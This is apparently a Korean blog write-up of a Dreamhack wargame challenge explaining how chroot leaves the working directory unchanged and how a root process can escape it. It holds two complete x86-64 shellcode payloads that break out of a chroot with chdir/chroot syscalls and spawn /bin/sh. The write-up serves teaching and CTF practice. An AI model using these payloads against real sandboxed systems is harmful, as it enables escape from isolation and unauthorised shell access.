how to breakout chroot with root privilege 2 ( In-depth analysis )

해당 글을 먼저 읽고 오면 편하다.

https://dreamhack.io/wargame/challenges/404

해당 문제를 풀면서 얻은 지식을 다룬다.

이 문제에서는 코드중에

C
int sandbox()
{
  return chroot("/home/cube/cube_box");
}

다음과 같은 함수가 실행된다. 먼저, 이 chroot에 대해서 자세히 알아보자

참고로

C
pwndbg> info proc cwd
process 300135
cwd = '/home/chall'

이런식으로 디버깅중에 cwd를 볼 수 있다.

그렇다면 우리는

C
int sandbox()
{
  return chroot("/home/cube/cube_box");
}

이런식으로 프로세스 내에서 작동을 해도 CWD 가 바뀌지 않는 것을 알 수 있다.

이말은 즉, 저렇게 chroot를 해도 CWD가 chroot 밖에 있다면, 상대경로로 바깥을 계속 접근할 수 있게 된다.

따라서 상대경로로 접근하는 다음과 같은 일반적인 shellcode로도 가능하다.

C
shellcode = asm('''
   
    /* chdir("../../../../../") */
    xor rdi, rdi
    lea rdi, [rip + path]
    mov rax, 80              /* sys_chdir */
    syscall

    /* chroot(".") */
    xor rdi, rdi
    push 0x2e                /* "." */
    mov rdi, rsp
    mov rax, 161             /* sys_chroot */
    syscall

	  /* execve("/bin/sh" , 0 , 0 )  */
    mov rax,  0x68732f6e69622f
    push rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push 59 /* 0x3b */
    pop rax
    syscall


path:
    .ascii "../../../../"
    .byte 0

''')

이 문제에서는 chdir로 직접 바뀐 root안으로 CWD를 이동시켰다. 따라서 프로세스 상에서만 할 수 있는 시스템콜을 통해 탈출을 해야한다.

C
shellcode = asm('''
    /* mkdir(".out", 0755) */
    xor rdi, rdi
    push 0x74756f2e          /* ".out\\0" */
    mov rdi, rsp
    mov rsi, 0755
    mov rax, 83              /* sys_mkdir */
    syscall

    /* chroot(".out") */
    mov rdi, rsp
    mov rax, 161             /* sys_chroot */
    syscall

    /* chdir("../../../../../") */
    /* We'll push "../../../../.." manually */
    xor rdi, rdi
    lea rdi, [rip + path]
    mov rax, 80              /* sys_chdir */
    syscall

    /* chroot(".") */
    xor rdi, rdi
    push 0x2e                /* "." */
    mov rdi, rsp
    mov rax, 161             /* sys_chroot */
    syscall

    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x68732f6e69622f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push 59 /* 0x3b */
    pop rax
    syscall


path:
    .ascii "../../../../"
    .byte 0

''')